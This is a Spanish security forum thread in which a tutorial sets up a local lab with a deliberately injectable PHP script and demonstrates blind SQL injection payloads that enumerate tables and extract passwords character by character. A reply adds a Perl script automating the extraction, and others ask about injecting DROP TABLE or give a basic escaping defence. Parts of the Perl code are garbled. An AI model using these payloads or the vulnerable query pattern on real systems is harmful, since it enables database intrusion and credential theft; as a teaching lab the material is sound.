Blind SQL Injection práctico.

Todo sobre seguridad, exploits, vulnerabilidades, bug's, etc.

Moderador: Moderadores

Blind SQL Injection práctico.

Notapor NeTTinG » Sab Ago 02, 2008 9:32 pm

Hola:

Hace unos días prometí que publicaría un documento en el foro que nos ayudaría a entender mejor un Blind SQL Injection.

La idea principal no es explicar un Blind SQL Injection, la idea es poder "tocar" un Blind SQL Injection.

De esta manera podremos jugar con el, introducir "nuestras cosas" y lo más importante, comprobar como reacciona ante ellas.

Siempre, claro, en un escenario propio. En un escenario que nosotros controlemos, podamos manipular y configurar. De esta forma podremos habilitar/deshabilitar opciones, quitar/añadir datos, etc...

Teniendo todo controlado entenderemos mejor el comportamiento o la hora de realizar el ataque.

Pues es de lo que se trata.

Lo que vamos a hacer es montar un Servidor WEB con APACHE + PHP + MySQL. Crear una base de datos y crear un fichero en PHP que realice un consulta con la Base de datos vulnerable...

Para no liarnos mucho y para acabar antes, podemos instalar un Appserv, que lo que hace es instalarlo todo junto (APACHE + PHP + MySQL). Y así nos evitamos otros quebraderos de cabeza.

http://www.appservnetwork.com/index.php?newlang=spanish

La instalación del AppServ no tiene ninguna dificultad. Eso si, apuntar o recordar las contraseñas que utilicéis.

Una vez que tenemos instalado el servidor, lo arrancamos. A mi me gusta utilizar el Apache Monitor, que podéis encontrar en:

Inicio - Todos los programas - AppServ - Control Server by Service - Apache Monitor.

Imagen

Abrimos nuestro navegador favorito y escribimos en la barra de direcciones:

Código: Seleccionar todo
http://localhost


Si todo ha ido bien tendríamos que ver todos los ficheros alojados en nuestro servidor WEB.

Para insertar ficheros en el servidor tendremos que introducirlos dentro de la carpeta WWW. Que por defecto encontraremos en:

Código: Seleccionar todo
C:\Appserv\www


Recordar que los ficheros con nombre index son ejecutados directamente por el servidor.
Para hacer más cómodo nuestro acceso al servidor recomiendo renombrar el fichero index.php a por ejemplo indexx.php

Dentro de WWW, vamos a crear una carpeta llamada BlinSQLInjection.

Este será el directorio donde alojaremos el script en PHP que realizará la consulta con la base de datos vulnerable.

Pasemos ahora a crear una base de datos con información...

Tenemos varias formas de crear la base de datos, bien a través del phpMyAdmin o a través de la consola de comandos.

Aunque el phpMyAdmin es más visual, el MySQL Command Line Client es más rápido y, en este caso, más sencillo.

MySQL Command Line Client lo podéis encontrar aquí:

Código: Seleccionar todo
Inicio - Todos los programas - Appserv - MySQL Command Line Client


Ejecutamos el MySQL Command Line Client y escribimos la contraseña.

Vamos a crear la Base de datos. Para eso introducimos el siguiente comando:

Código: Seleccionar todo
create database BlindSQL;


Imagen

Ahora vamos a crear la tabla USUARIOS con tres campos:
  • id.
  • Nombre.
  • Password.

Para eso indicamos que base de datos queremos utilizar, mediante:

Código: Seleccionar todo
use BlindSQL;


Y a continuación creamos la tabla con sus correspondientes campos:
Código: Seleccionar todo
CREATE TABLE `usuarios` (`id` int(10) unsigned NOT NULL auto_increment,`nonmbre` varchar(50) NOT NULL,`password` varchar(50) NOT NULL,PRIMARY KEY (`id`)) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;


Imagen

Ahora vamos a rellenar los campos con algunos contenidos. Por ejemplo, usuario: root, password: a1b2c3d4e5f6!!, id 1...

Cada uno puede escoger el nombre y la contraseña que quiera... aunque para entender y no perderse en las explicaciones es recomendable utilizar los mismos ejemplos.

Vamos haya...

Código: Seleccionar todo
insert into `usuarios` values (1, 'root','a1b2c3d4e5f6!!');


Los siguientes 2 usuarios siguen el mismo procedimiento, simplemente hay que cambiar el id a un valor consecutivo. Por ejemplo:

Imagen

Código: Seleccionar todo
insert into `usuarios` values (2, 'netting','gnitten');


Código: Seleccionar todo
insert into `usuarios` values (3, 'guest','a76sd76ash12b');


Con esto ya hemos creado la base de datos que vamos a utilizar en la práctica y en los ejemplos.

Una sola cosa más, comprobemos que la base de datos ha creado todo correctamente.

Vamos a visualizar la tabla USUARIOS.

Imagen

¡Todo correcto!

Cambiemos ahora, radicalmente, de tema. Vamos a crear un script en PHP que haga una consulta con la base de datos vulnerable a un Blind SQL Injection.

Código: Seleccionar todo
<?php
$host = 'localhost';
$dbuser = 'root';
$dbpass = 'mysql';
$dbname = 'blindsql';
$db = mysql_connect($host, $dbuser, $dbpass);
mysql_select_db($dbname,$db);
$sql = "SELECT * FROM usuarios WHERE id=".$_GET['id'];
$query = mysql_query($sql);
if(@mysql_num_rows($query)==0){
die('Error...! :(');
}
$result=@mysql_fetch_row($query);
echo "<h2><center>Blind SQL Injection<br>Ejemplos<br><br>";
echo "<font color='#FF0000'>id: </font>".$result[0]."<br>";
echo "<font color='#FF0000'>Nombre: </font>".$result[1]."<br>";
// echo "Contraseña: ".$result[2]."<br>";
echo "</h2></center>";
die();
?>


Este script no le he creado yo. Lo he sacado de la Intesné, lo que pasa es que no recuerdo de donde... :roll: :roll: (ay!! Que memoria la tuya, NeTTinG).

Creo que el script es muy sencillo. Aun si tener ningunos conocimientos de PHP se puede sacar a grandes rasgos lo que hace.

Quedémonos con lo más importante:

Código: Seleccionar todo
$sql = "SELECT * FROM usuarios WHERE id=".$_GET['id'];
$query = mysql_query($sql);


El script hace la siguiente consulta con la base de datos,

Código: Seleccionar todo
SELECT * FROM usuarios WHERE id=X


Luego se recoge a través de GET el valor de id, dado por el usuario. Es decir, si nosotros escribimos:

Código: Seleccionar todo
http://localhost/BlinSQLInjection/blindmysql.php?id=1


Se recoge el valor 1 y se hace la siguiente consulta:

Código: Seleccionar todo
SELECT * FROM usuarios WHERE id=1


Luego, la otra parte del script, ya se ocupa de mostrar la respuesta a la solicitud en el navegador.

Copiamos el script, lo pegamos en el bloc de notas, y lo guardamos dentro de la carpeta BlindSQLInjection con extensión PHP.

Abrimos el navegador, e insertamos en la barra de direcciones la siguiente URL:

Código: Seleccionar todo
http://localhost/BlinSQLInjection/blindmysql.php?id=1


Ya tenemos todo listo para realizar prácticas de Blind SQL Injection en nuestro propio servidor vulnerable.


¿Como saber si el servidor es vulnerable?

Pasemos ahora a explicar un poco de que se trata un Blind SQL Injection, todo de manera práctica.

Nosotros sabemos que el script muestra información a través de la variable id. Según el id mostrará una información u otra almacenada en la base de datos.

Si nosotros no indicamos ningún valor a id o indicamos un valor que no existe en la base de datos obtendremos un simpático "Error...!! :(".

Vale. Sabiendo esto nos llega para entender las siguientes explicaciones.

Si ponemos en la barra de direcciones la siguiente URL:

Código: Seleccionar todo
http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND 1=1


Obtendremos el mismo resultado que si introdujéramos:

Código: Seleccionar todo
http://localhost/BlinSQLInjection/blindmysql.php?id=1


Acabamos de añadirle a la consulta un AND 1=1, que es un valor verdadero. Si la aplicación es vulnerable nos tendría que devolver el mismo resultado.

Comprobemos que pasa si añadimos un valor falso:

Código: Seleccionar todo
http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND 1=0


Obtenemos un: "Error...!! :("

Bien. A partir de ahora podremos formularle preguntas al servidor acerca de la base de datos. Cuando las respuestas sean falsas se nos enviará a: "Error...!! :(", mientras que cuando sean verdaderas nos quedaremos en la misma página.

Una cosa importante. Las preguntas que podemos hacerle al servidor solo pueden tener como respuesta SI (verdadero) o NO (Falso). Recordar que es un ataque a ciegas...

Ojo! El servidor contestará que NO tanto si la consulta es falsa como si nosotros indicamos una consulta errónea. Ojo con la sintaxis de las consultas.

Probemos algunas cosas...

Conozcamos el nombre la tabla:

Código: Seleccionar todo
http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT (COUNT(*)) FROM users);


FALSO. Obtenemos la página "Error...!! :("

Probemos ahora con:

Código: Seleccionar todo
http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT (COUNT(*)) FROM usuarios);


VERDADERO. Nos quedamos en la misma página.


Conociendo el número de registros de una tabla

Para conocer el número de registros vamos a seguir utilizando la Función COUNT:

Código: Seleccionar todo
http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT Count(*) FROM usuarios) > 5;


Puesto que la tabla tiene 3 registros, nos dará un valor FALSO. 3 no es mayor que 5. (3 > 5)

Código: Seleccionar todo
http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT Count(*) FROM usuarios) = 3;


En este caso ya sabemos que la tabla tiene 3 registros. Al inyectar esta inyección nos dará un valor VERDADERO.

El objetivo es ir probando hasta encontrar un valor VERDADERO.


Buscando los nombres de las columnas o campos

Código: Seleccionar todo
http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND(SELECT Count(nombres) FROM users)


Puesto que no existe ninguna columna o campo con este nombre obtendremos un valor FALSO.

Código: Seleccionar todo
http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND(SELECT Count(password) FROM usuarios)


Sin embargo, ahora si nos dará un valor VERDADERO. Si existe un campo con el nombre password.

Ya tenemos un campo, ahora sería cuestión de ir probando con otros campos hasta encontrarlos todos.

Código: Seleccionar todo
http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND(SELECT Count(nombre) FROM usuarios)


Código: Seleccionar todo
http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND(SELECT Count(id) FROM usuarios)


Esto nos devolverá valores VERDADEROS.


Sacando información de los campos y registros

Lo que más nos podría interesar a la hora de encontrar un servidor vulnerable a un tipo de ataque como un Blind SQL Injection sería sacar información acerca de los passwords almacenados. Pues bien, ¿Que tal si sacamos la longitud de una contraseña?

Código: Seleccionar todo
http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT length(password) FROM usuairos where id=1) > 9


Esto nos devolverá un valor VERDADERO. El password tiene una longitud mayor a 9 (14 > 9).

Si vamos probando, probando, llegaremos a la siguiente conclusión:

Código: Seleccionar todo
http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT length(password) FROM users where id=1) = 14


Que nos devolverá un valor VERDADERO.

También podríamos pedir el password a partir del nombre de usuario en vez de utilizar el id.

Por ejemplo, así:

Código: Seleccionar todo
http://localhost/BlinSQLInjection/blindmysql.php?id=1%20AND%20(Select%20length(password)%20From%20usuarios%20where%20nonmbre=%27root%27)%20>%209;


Esto mismo nos vale también para conocer el contenido de otros campos. Por ejemplo, la longitud del usuario con id 2, al que vamos a imaginarnos que no conocemos su username.

Código: Seleccionar todo
http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (Select length(nombre) from usuarios where id=2) = 7;


Esto nos devolverá un valor VERDADERO. Puesto que el usuario con id 2, netting, tiene una longitud de 7 caracteres.

Pasemos ahora a sacar los caracteres de una contraseña o de otro campo. Para ello vamos a utilizar la función LENGTH y la función SUBSTRING.

Código: Seleccionar todo
http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND ascii(substring((SELECT password FROM usuairos where id=1),1,1))=97;


Esto nos devolverá un valor VERDADERO. Puesto que el primer carácter de la contraseña es una "a". (ASCII 97 = 'a').

Código: Seleccionar todo
http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND ascii(substring((SELECT password FROM usuarios where id=1),2,1))=49


Esto nos devolverña un valor VERDADERO. El segundo carácter de la contraseña es un "1". (ASCII 49 = 1).

Es decir, debemos buscar en una tabla ASCII el valor del carácter que queremos comprobar. Ponerlo en la inyección y comprobar si es verdadero o falso.

También fijaros que hay que ir cambiando el número de la inyección para indicar que carácter queremos comprobar... que si el primer carácter (1) , que si el segundo carácter (2), y así consecutivamente...

Como decía Vic_Thor en el post del BlindSec, es una pesadilla... hay que ir comprobando carácter a carácter todas las posibilidades... y la verdad, no son pocas...

Os dejo aquí una Tabla ASCII:

Imagen

... bueno, siempre y cuando lo hagamos "a mano", existen herramientas, por eso de llamarlas de algún modo, que nos permiten hacerlo todo más automático...

Aunque eso se escapa del objetivo del documento... si encuentro por mi disco duro la herramienta automatizada, la posteo en el foro...

¡¡Cuidadito con lo que hacéis!!... el gran hermano nos vigila a todos :badgrin: :badgrin:

Un saludo.

[Documento elaborado para los Foros de la comunidad de Wadalbertia]

EDITADO:

- Ya he subido las imágenes a mi server.
- Un documento que contiene más información y es muy parecido a este es el publicado por z1rr0s1s aquí.
- Podéis descargaros el documento en PDF, aquí.
| Blog NeTTinG | Proyecto Destripando iOS |
_____________________________
Todos somos muy ignorantes. Lo que ocurre es que no todos ignoramos las mismas cosas. (Albert Einstein)
Todos recaerán en la necesidad de conocer la única y presumible verdad que el gran embudo emana. (Sire Netting)
Avatar de Usuario
NeTTinG
Wadalbertita
Wadalbertita
 
Mensajes: 6270
Registrado: Mar Sep 20, 2005 5:54 pm
Ubicación: Bajo la trampilla del décimo primer piso.

Notapor vlan7 » Lun Ago 11, 2008 12:34 am

Gracias Netting!

Y ahora la defensa mas basica, en PHP y MySQL que es lo que usas en tus ejemplos:

Código: Seleccionar todo
$sql = sprintf("SELECT * FROM usuarios WHERE id='%s',mysql_real_escape_string($_GET['id']));


Suerte!
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Notapor Nork » Mar Ago 12, 2008 2:06 pm

Gracias NeTTinG ;) El código vulnerable que comentas que no te acuerdas de donde lo sacaste creo que es un paper que creo ka0x sobre blind SQL inyection... en concreto este:

http://www.megaupload.com/es/?d=WGB3TMP0

Aquí esta el script para automatizar el proceso de los caracteres ascii:

Código: Seleccionar todo
#!/usr/bin/perl W
# Blind MySQL Injection Paper
# example brute force
# OPCIONS
my
$MAX_FIELD_LENGTH = 200 ;
my $EXIT_IF_NO_CHAR = 1 ;
my $DEFAULT_THREADS = 15 ;
my $DEFAULT_THREADS_TIMEOUT = 30 ;
my @ascii = ( 33 .. 123 ) ;
my $DEFAULT_THREADS_TIME = 1 ;
# use
LWP::UserAgent ;
sub _HELP_AND_EXIT
{
die "
./$0 u
<url> tn
<table> cn
<column> p
<pattern>
Options:
u
<url> Ex: http://www.google.es/vuln.php?id=1
tn
<table_name> Table name.
cn
<column_name> Column name.
p
<pattern> HTML pattern.
Other:
t
<#> Threads, default '$DEFAULT_THREADS'.
l
<#> Maximum table name length '$MAX_FIELD_LENGTH'.
T
<#> Timeout.
h
Help (also with help).
" ;
}
my ($p, $w) = ({ @ARGV }, { }) ;
map {
&_HELP_AND_EXIT if $_ eq 'help'
or $_ eq 'h'
;
} keys %$p ;
map {
die "[!] Require: $_\n" unless $p>{
$_ } ;
} qw/u
tn
cn
p/
;
$p>{'
t'}
= ( $p>{'
t'}
and $p>{'
t'}
=~ /^\d+$/ ) ? $p>{'
t'}
: ( $w>{'
t'}
= $DEFAULT_THREADS ) ;
$p>{'
l'}
= ( $p>{'
l'}
and $p>{'
l'}
=~ /^\d+$/ ) ? $p>{'
l'}
: ( $w>{'
l'}
= $MAX_FIELD_LENGTH ) ;
$p>{'
T'}
= ( $p>{'
T'}
and $p>{'
T'}
=~ /^\d+$/ ) ? $p>{'
T'}
: ( $w>{'
T'}
= $DEFAULT_THREADS_TIMEOUT ) ;
map {
warn "[i] Getting default: $_ $w>{
$_ }\n" ;
} sort keys %$w ;
( &_IS_VULN( $p ) ) ? &_START_WORK( $p ) : die "[i] Bad pattern ? Isn't
vulnerable ?\n" ;
sub _START_WORK
{
my $p = shift ;
($p>{'
id_value'}) = ( $p>{'
u'}
=~ /(\d+)$/ ) ; # Get the
id value
my $position = 1 ;
pipe(R, W) ;
pipe(Rs, Ws) ;
autoflush STDOUT 1 ;
my $sql_message = '' ;
my $msg = '' ;
my @pid ;
while( $position <= $p>{'
l'}
)
{
my $cf ;
unless( $cf = fork ){ &_CHECKING( $p, $position ) ; exit(0) ; }
push(@pid, $cf) ;
my $count = 0 ;
my $can_exit ;
my $char_printed ;
while(<R>)
{
chomp ;
push(@pid, (split(/:/))[1] ) if /^pid/ ;
my ($res, $pos, $ascii) = ( split(/ /, $_) ) ;
$count++ if $pos == $position ;
print "\b" x length($msg), ($msg = "$position $ascii " .
chr($ascii) ) ;
if( $res eq 'yes' and $pos == $position ){
$char_printed = $can_exit = 1 ;
print Ws "STOP $position\n" ;
$sql_message .= chr( $ascii ) ;
}
last if ( $can_exit or $count == @ascii );
}
map { waitpid($_, 0) } @pid ;
unless( $char_printed )
{
if( $EXIT_IF_NO_CHAR )
{
warn "\n[!] \$EXIT_IF_NO_CHAR : I can't find a valid
character, position $position.\n" ;
last ;
}
}
$position++ ;
}
print "[i] SQL_FIELD:\n$sql_message\n" ;
}
sub _CHECKING
{
my ($p, $position) = @_ ;
my $counter = 0 ;
my $stop_position ;
foreach my $ascii ( @ascii )
{
$counter++ ;
if( $counter % $p>{'
t'}
== 0 )
{
my $stop_position ;
eval
{
$SIG{'ALRM'} = sub { die "non_stop\n" } ;
alarm $DEFAULT_THREADS_TIME ;
my $line = <Rs> ;
$stop_position = (split( / /, $line))[1] ;
alarm 0 ;
} ;
if( ($stop_position) and $stop_position == $position ){ print
"\nnext position\n" ; exit(0) ; }
}
unless(my $pid = fork )
{
print Ws "pid:$pid\n" or die ;
my $url = $p>{'
u'}
.
' AND ascii(substring((SELECT ' . $p>{'
cn'}
.
' FROM ' . $p>{'
tn'}
. ' where id=' .
$p>{'
id_value'} . '),' . $position . ',1))='. $ascii ;
my $ua = LWP::UserAgent>
new ;
$ua>
timeout( $p>{'
T'}
) ;
my $content ;
while( 1 )
{
last if $content = $ua>
get( $url )>
content ;
}
( $content =~ /$p>{'
p'}/
) ? print W "yes $position $ascii\n"
: print W "no $position $ascii\n" ;
exit( 0 ) ;
}
}
}
sub _IS_VULN
{
my $p = shift ;
my $ua = LWP::UserAgent>
new ;
$ua>
timeout( $p>{'
T'}
) ;
my ( $one, $two ) = (
$ua>
get( $p>{'
u'}."
AND 1=1")>
content ,
$ua>
get( $p>{'
u'}."
AND 1=2")>
content ,
) ;
return ($one =~ /$p>{'
p'}/
and $two !~ /$p>{'
p'}/)
? 1 : undef ;
}
La televisión me ha culturizado porque cada vez que la encienden en casa me voy a leer a mi cuarto.
Avatar de Usuario
Nork
<|:-)
<|:-)
 
Mensajes: 476
Registrado: Dom Feb 11, 2007 1:00 am
Ubicación: 2348,8574,7

duda

Notapor jose.va » Jue Ago 14, 2008 7:26 pm

Hola, con todo esto del concurso de Blind Security he estado prácticando y tengo algunas preguntas.

En el código php que habías puesto como ejemplo, además de por ejemplo sacar los passwords del admin, o de cualquier usuario, y de sacar todo tipo de información de la base de datos, podemos llegar a crear usuarios, tablas, borrar tablas, etc?

En algunas páginas sobre el sql-injection aseguran que si, pero he estado probando con mysql y con tu código no he conseguido hacer algo así como:

Código: Seleccionar todo
.../BlinSQLInjection/blindmysql.php?id=1; DROP TABLE usuarios


He estado probando y parece que no, porque según he mirado mysql_query solo ejecuta una única consulta sql.

¿Alguna idea al respecto?
jose.va
:-)
:-)
 
Mensajes: 1
Registrado: Jue Ago 14, 2008 7:23 pm

Notapor Arakiss » Vie Sep 26, 2008 4:31 pm

Hola:

Gracias por el manual NeTTinG ya he aprendido algo mas ;).

Saludos
//When I wrote this, only God and I understood that I was doing
//Now, God only knows

Imagen

https://petruarakiss.com
Avatar de Usuario
Arakiss
<|:-D
<|:-D
 
Mensajes: 1332
Registrado: Mié Ene 11, 2006 3:41 pm
Ubicación: Madrid

Notapor zack » Jue Abr 30, 2009 4:21 pm

Estas técnicas se pueden emplear para las diferentes BB.DD que existen en el mercado? Oracle, SQL, etc...
zack
:-D
:-D
 
Mensajes: 135
Registrado: Lun Sep 11, 2006 9:07 pm
Ubicación: A donde voy no me podeis seguir...

Notapor neofito » Jue Abr 30, 2009 8:29 pm

zack escribió:Estas técnicas se pueden emplear para las diferentes BB.DD que existen en el mercado? Oracle, SQL, etc...


Siempre que utilices las secuencias de escape particulares de cada SGBD supongo que si, pero mejor nos lo confirmara NeT, que esta hecho una maquina.

Saludos
La verdad nos hara libres

http://neosysforensics.blogspot.com
http://www.wadalbertia.org
@neosysforensics
-<|:-P[G]
Avatar de Usuario
neofito
Wadalbertita
Wadalbertita
 
Mensajes: 1799
Registrado: Dom Ene 30, 2005 7:16 am
Ubicación: En algun lugar

Notapor Ariel Liguori » Mié Nov 04, 2009 7:18 pm

zack escribió:Estas técnicas se pueden emplear para las diferentes BB.DD que existen en el mercado? Oracle, SQL, etc...

Cada motor de BD tiene caractersisticas especiales, entre ellas los caracteres de escape y en particular, teniendo en cuenta el post de Net, las tablas por defecto. Asi que cuidado que muchas de estas sentencias no te funcionaran en todos los motores, lo bueno es que la logica es la misma ;-)
Ariel Liguori
:-)
:-)
 
Mensajes: 17
Registrado: Mar Dic 30, 2008 6:27 pm
Ubicación: Argentina - Bs As

.

Notapor cornelia_v » Vie Jul 20, 2012 2:23 pm

.
Avatar de Usuario
cornelia_v
:-)
:-)
 
Mensajes: 1
Registrado: Jue Jul 19, 2012 8:14 pm


Volver a Seguridad

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 3 invitados

cron